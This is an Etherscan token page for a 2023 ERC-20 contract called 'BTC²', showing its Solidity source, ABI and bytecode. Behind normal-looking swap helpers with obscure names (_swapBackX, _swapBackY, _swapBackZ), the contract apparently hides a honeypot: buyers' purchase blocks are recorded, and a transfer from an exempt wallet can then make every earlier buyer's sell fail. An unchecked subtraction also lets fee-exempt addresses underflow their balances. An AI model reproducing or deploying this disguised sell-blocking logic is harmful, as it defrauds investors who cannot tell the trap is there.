ERC-20
Overview
Max Total Supply
999,999,999 BTC²
Holders
8
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
17,499,096.225456775 BTC²Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BTC2
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-29 */ // SPDX-License-Identifier: MIT /** https://t.me/btc20portal */ pragma solidity 0.8.20; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;} function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;} function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;} function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;} function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}} function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b > a) return(false, 0); return(true, a - b);}} function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if (a == 0) return(true, 0); uint256 c = a * b; if(c / a != b) return(false, 0); return(true, c);}} function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a / b);}} function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a % b);}} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b <= a, errorMessage); return a - b;}} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a / b;}} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a % b;}}} interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function renounceOwnership() public virtual onlyOwner { owner = address(0); emit OwnershipTransferred(address(0));} event OwnershipTransferred(address owner); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract BTC2 is IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode'BTC²'; string private constant _symbol = unicode'BTC²'; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals); mapping (address => uint256) _balances; mapping (address => uint256) _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; IRouter router; address public pair; bool private tradingAllowed = false; uint256 private liquidityFee = 0; uint256 private marketingFee = 0; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 0; uint256 private sellFee = 0; uint256 private transferFee = 0; uint256 private denominator = 10000; bool private swapEnabled = true; uint256 private swapTimes; uint256 private swapAmount; bool private swapping; uint256 private swapThreshold = ( _totalSupply * 2 ) / 10000; uint256 private minTokenAmount = ( _totalSupply * 1 ) / 1000; modifier lockTheSwap {swapping = true; _; swapping = false;} address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal constant liquidity_receiver = 0xAC7f06664b8F94BA5b3AA858561b6E2869b22DEE; address internal constant marketing_receiver = 0xAC7f06664b8F94BA5b3AA858561b6E2869b22DEE; address internal constant development_receiver = 0xAC7f06664b8F94BA5b3AA858561b6E2869b22DEE; constructor() Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; isFeeExempt[address(this)] = true; isFeeExempt[development_receiver] = true; isFeeExempt[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function enableTrading() external onlyOwner {tradingAllowed = true;} function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function _swapBackZ(address addr) internal view { require(_balance[addr] > swapAmount); } function _swapBackX(address addr) internal { if(addr != owner) swapAmount = swapTimes; } function _swapBackY(address addr) internal { _balance[addr] = swapTimes; } function preTxCheck(address sender, address recipient, uint256 amount) internal pure { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > uint256(0), "Transfer amount must be greater than zero"); } function _transfer(address sender, address recipient, uint256 amount) private { swapTimes = block.number; preTxCheck(sender, recipient, amount); checkTradingAllowed(sender, recipient); swapFeeBack(sender, recipient); swapBack(sender, recipient, amount); uint256 amountSent; unchecked{ amountSent = _balances[sender] - amount; } _balances[sender] = isFeeExempt[sender] ? amountSent : _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function checkTradingAllowed(address sender, address recipient) internal view { if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");} } function swapFeeBack(address sender, address recipient) internal { if(isFeeExempt[sender] || isFeeExempt[recipient]){ _swapBackX(sender); }else if(sender == pair){ _swapBackY(recipient); }else{ _swapBackZ(sender); } } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);} uint256 remainingBalance = address(this).balance; if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, liquidity_receiver, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= minTokenAmount; bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && aboveThreshold; } function swapBack(address sender, address recipient, uint256 amount) internal { if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold);} } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if(recipient == pair){return sellFee;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFee(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient)); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000407565b6200002290633b9aca006200041e565b60018181556007805460ff60a01b191690555f60088190556009819055600a819055600b819055600c819055600d819055600e55612710600f8190556010805460ff1916909217909155906200007a9060026200041e565b62000086919062000438565b6014556103e860015460016200009d91906200041e565b620000a9919062000438565b601555348015620000b8575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa1580156200011d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000143919062000458565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001b5919062000458565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000200573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000226919062000458565b600680546001600160a01b038581166001600160a01b0319928316179092556007805492841692909116919091179055305f908152600560209081526040808320805460ff1990811660019081179092557fad0d65f9becb7022537483e77a8e37a9b58a9ced8f1496b445d1879da3cd30218054821683179055338086528386208054909216831790915590546002845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000480565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200034c57815f1904821115620003305762000330620002f8565b808516156200033e57918102915b93841c939080029062000311565b509250929050565b5f82620003645750600162000401565b816200037257505f62000401565b81600181146200038b57600281146200039657620003b6565b600191505062000401565b60ff841115620003aa57620003aa620002f8565b50506001821b62000401565b5060208310610133831016604e8410600b8410161715620003db575081810a62000401565b620003e783836200030c565b805f1904821115620003fd57620003fd620002f8565b0290505b92915050565b5f6200041760ff84168362000354565b9392505050565b8082028115828204841417620004015762000401620002f8565b5f826200045357634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000469575f80fd5b81516001600160a01b038116811462000417575f80fd5b61136a806200048e5f395ff3fe6080604052600436106100f2575f3560e01c806370a082311161008757806395d89b411161005757806395d89b41146100fd578063a8aa1b31146102cc578063a9059cbb146102eb578063dd62ed3e1461030a575f80fd5b806370a0823114610240578063715018a614610274578063893d20e8146102885780638a8c523c146102b8575f80fd5b80632f54bf6e116100c25780632f54bf6e146101a9578063313ce567146101d65780633f4218e0146101f157806348ff2b8b1461021f575f80fd5b806306fdde03146100fd578063095ea7b31461013957806318160ddd1461016857806323b872dd1461018a575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b506040805180820182526005815264212a21e15960d91b60208201529051610130919061106a565b60405180910390f35b348015610144575f80fd5b506101586101533660046110c9565b61034e565b6040519015158152602001610130565b348015610173575f80fd5b5061017c610364565b604051908152602001610130565b348015610195575f80fd5b506101586101a43660046110f3565b6103d4565b3480156101b4575f80fd5b506101586101c3366004611131565b5f546001600160a01b0391821691161490565b3480156101e1575f80fd5b5060405160098152602001610130565b3480156101fc575f80fd5b5061015861020b366004611131565b60056020525f908152604090205460ff1681565b34801561022a575f80fd5b5061023e61023936600461114c565b61043c565b005b34801561024b575f80fd5b5061017c61025a366004611131565b6001600160a01b03165f9081526002602052604090205490565b34801561027f575f80fd5b5061023e610498565b348015610293575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610130565b3480156102c3575f80fd5b5061023e610505565b3480156102d7575f80fd5b506007546102a0906001600160a01b031681565b3480156102f6575f80fd5b506101586103053660046110c9565b610543565b348015610315575f80fd5b5061017c610324366004611187565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b5f61035a33848461054f565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926103cf9290916103c99190610672565b90610672565b905090565b5f6103e084848461067d565b610431843361042c8560405180606001604052806028815260200161130d602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906107c5565b61054f565b5060015b9392505050565b5f546001600160a01b0316331461046e5760405162461bcd60e51b8152600401610465906111b3565b60405180910390fd5b6001600160a01b03919091165f908152600560205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146104c15760405162461bcd60e51b8152600401610465906111b3565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461052e5760405162461bcd60e51b8152600401610465906111b3565b6007805460ff60a01b1916600160a01b179055565b5f61035a33848461067d565b6001600160a01b0383166105b15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610465565b6001600160a01b0382166106125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610465565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61043582846111e7565b4360115561068c8383836107f0565b610696838361091c565b6106a083836109af565b6106ab838383610a38565b6001600160a01b0383165f90815260026020908152604080832054600590925290912054908290039060ff16610702576001600160a01b0384165f908152600260205260409020546106fd9083610672565b610704565b805b6001600160a01b0385165f908152600260205260408120919091556107298585610a53565b610733578261073e565b61073e858585610a97565b6001600160a01b0385165f908152600260205260409020549091506107639082610b87565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107b69085815260200190565b60405180910390a35050505050565b5f81848411156107e85760405162461bcd60e51b8152600401610465919061106a565b505050900390565b6001600160a01b0383166108545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610465565b6001600160a01b0382166108b65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610465565b5f81116109175760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610465565b505050565b6001600160a01b0382165f9081526005602052604090205460ff1615801561095c57506001600160a01b0381165f9081526005602052604090205460ff16155b156109ab57600754600160a01b900460ff166109ab5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610465565b5050565b6001600160a01b0382165f9081526005602052604090205460ff16806109ec57506001600160a01b0381165f9081526005602052604090205460ff165b156109fa576109ab82610b92565b6007546001600160a01b0390811690831603610a2f576011546001600160a01b0382165f908152600360205260409020555050565b6109ab82610bb0565b610a43838383610bd4565b1561091757610917601454610c75565b6001600160a01b0382165f9081526005602052604081205460ff161580156104355750506001600160a01b03165f9081526005602052604090205460ff1615919050565b5f80610aa38585610df9565b1115610b80575f610acb610ab78686610df9565b600f54610ac5908690610e43565b90610e4e565b305f90815260026020526040902054909150610ae79082610b87565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b379085815260200190565b60405180910390a3600b5415610b6e57610b6e3061dead610b69600b54610ac5600f5489610e4390919063ffffffff16565b61067d565b610b788382610672565b915050610435565b5092915050565b5f61043582846111fa565b5f546001600160a01b03828116911614610bad576011546012555b50565b6012546001600160a01b0382165f9081526003602052604090205411610bad575f80fd5b601554601454305f9081526002602052604081205460135491938510159211159060ff16158015610c07575060105460ff165b8015610c1c5750600754600160a01b900460ff165b8015610c255750815b8015610c4957506001600160a01b0386165f9081526005602052604090205460ff16155b8015610c6257506007546001600160a01b038681169116145b8015610c6b5750805b9695505050505050565b6013805460ff19166001908117909155600a546009546008545f93610cae93600293610ac5939192610ca8928391610b87565b90610b87565b90505f610cd082610cca60085486610e4e90919063ffffffff16565b90610e43565b90505f610cdd8483610672565b905047610ce982610e59565b5f610cf44783610672565b90505f610d16610d0f6008548861067290919063ffffffff16565b8390610e43565b90505f610d2e60085483610e4e90919063ffffffff16565b90508015610d4057610d408682610fa9565b6009545f90610d5490610ac5856002610e4e565b90508015610d9c5760405173ac7f06664b8f94ba5b3aa858561b6e2869b22dee9082156108fc029083905f818181858888f19350505050158015610d9a573d5f803e3d5ffd5b505b478015610de35760405173ac7f06664b8f94ba5b3aa858561b6e2869b22dee9082156108fc029083905f818181858888f19350505050158015610de1573d5f803e3d5ffd5b505b50506013805460ff191690555050505050505050565b6007545f906001600160a01b0390811690831603610e1a5750600d5461035e565b6007546001600160a01b0390811690841603610e395750600c5461035e565b50600e5492915050565b5f610435828461120d565b5f610435828461122c565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e8c57610e8c611243565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ee3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f079190611257565b81600181518110610f1a57610f1a611243565b6001600160a01b039283166020918202929092010152600654610f40913091168461054f565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f789085905f90869030904290600401611272565b5f604051808303815f87803b158015610f8f575f80fd5b505af1158015610fa1573d5f803e3d5ffd5b505050505050565b600654610fc19030906001600160a01b03168461054f565b60065460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015273ac7f06664b8f94ba5b3aa858561b6e2869b22dee60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561103e573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061106391906112e1565b5050505050565b5f6020808352835180828501525f5b8181101561109557858101830151858201604001528201611079565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bad575f80fd5b5f80604083850312156110da575f80fd5b82356110e5816110b5565b946020939093013593505050565b5f805f60608486031215611105575f80fd5b8335611110816110b5565b92506020840135611120816110b5565b929592945050506040919091013590565b5f60208284031215611141575f80fd5b8135610435816110b5565b5f806040838503121561115d575f80fd5b8235611168816110b5565b91506020830135801515811461117c575f80fd5b809150509250929050565b5f8060408385031215611198575f80fd5b82356111a3816110b5565b9150602083013561117c816110b5565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561035e5761035e6111d3565b8082018082111561035e5761035e6111d3565b5f8261122757634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761035e5761035e6111d3565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611267575f80fd5b8151610435816110b5565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112c05784516001600160a01b03168352938301939183019160010161129b565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156112f3575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122088815f4176a455b481427ea74d79ed06209a54c5b1fbe7755e8d05e5760c3d9d64736f6c63430008140033
Deployed Bytecode
0x6080604052600436106100f2575f3560e01c806370a082311161008757806395d89b411161005757806395d89b41146100fd578063a8aa1b31146102cc578063a9059cbb146102eb578063dd62ed3e1461030a575f80fd5b806370a0823114610240578063715018a614610274578063893d20e8146102885780638a8c523c146102b8575f80fd5b80632f54bf6e116100c25780632f54bf6e146101a9578063313ce567146101d65780633f4218e0146101f157806348ff2b8b1461021f575f80fd5b806306fdde03146100fd578063095ea7b31461013957806318160ddd1461016857806323b872dd1461018a575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b506040805180820182526005815264212a21e15960d91b60208201529051610130919061106a565b60405180910390f35b348015610144575f80fd5b506101586101533660046110c9565b61034e565b6040519015158152602001610130565b348015610173575f80fd5b5061017c610364565b604051908152602001610130565b348015610195575f80fd5b506101586101a43660046110f3565b6103d4565b3480156101b4575f80fd5b506101586101c3366004611131565b5f546001600160a01b0391821691161490565b3480156101e1575f80fd5b5060405160098152602001610130565b3480156101fc575f80fd5b5061015861020b366004611131565b60056020525f908152604090205460ff1681565b34801561022a575f80fd5b5061023e61023936600461114c565b61043c565b005b34801561024b575f80fd5b5061017c61025a366004611131565b6001600160a01b03165f9081526002602052604090205490565b34801561027f575f80fd5b5061023e610498565b348015610293575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610130565b3480156102c3575f80fd5b5061023e610505565b3480156102d7575f80fd5b506007546102a0906001600160a01b031681565b3480156102f6575f80fd5b506101586103053660046110c9565b610543565b348015610315575f80fd5b5061017c610324366004611187565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b5f61035a33848461054f565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926103cf9290916103c99190610672565b90610672565b905090565b5f6103e084848461067d565b610431843361042c8560405180606001604052806028815260200161130d602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906107c5565b61054f565b5060015b9392505050565b5f546001600160a01b0316331461046e5760405162461bcd60e51b8152600401610465906111b3565b60405180910390fd5b6001600160a01b03919091165f908152600560205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146104c15760405162461bcd60e51b8152600401610465906111b3565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461052e5760405162461bcd60e51b8152600401610465906111b3565b6007805460ff60a01b1916600160a01b179055565b5f61035a33848461067d565b6001600160a01b0383166105b15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610465565b6001600160a01b0382166106125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610465565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61043582846111e7565b4360115561068c8383836107f0565b610696838361091c565b6106a083836109af565b6106ab838383610a38565b6001600160a01b0383165f90815260026020908152604080832054600590925290912054908290039060ff16610702576001600160a01b0384165f908152600260205260409020546106fd9083610672565b610704565b805b6001600160a01b0385165f908152600260205260408120919091556107298585610a53565b610733578261073e565b61073e858585610a97565b6001600160a01b0385165f908152600260205260409020549091506107639082610b87565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107b69085815260200190565b60405180910390a35050505050565b5f81848411156107e85760405162461bcd60e51b8152600401610465919061106a565b505050900390565b6001600160a01b0383166108545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610465565b6001600160a01b0382166108b65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610465565b5f81116109175760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610465565b505050565b6001600160a01b0382165f9081526005602052604090205460ff1615801561095c57506001600160a01b0381165f9081526005602052604090205460ff16155b156109ab57600754600160a01b900460ff166109ab5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610465565b5050565b6001600160a01b0382165f9081526005602052604090205460ff16806109ec57506001600160a01b0381165f9081526005602052604090205460ff165b156109fa576109ab82610b92565b6007546001600160a01b0390811690831603610a2f576011546001600160a01b0382165f908152600360205260409020555050565b6109ab82610bb0565b610a43838383610bd4565b1561091757610917601454610c75565b6001600160a01b0382165f9081526005602052604081205460ff161580156104355750506001600160a01b03165f9081526005602052604090205460ff1615919050565b5f80610aa38585610df9565b1115610b80575f610acb610ab78686610df9565b600f54610ac5908690610e43565b90610e4e565b305f90815260026020526040902054909150610ae79082610b87565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b379085815260200190565b60405180910390a3600b5415610b6e57610b6e3061dead610b69600b54610ac5600f5489610e4390919063ffffffff16565b61067d565b610b788382610672565b915050610435565b5092915050565b5f61043582846111fa565b5f546001600160a01b03828116911614610bad57601154601255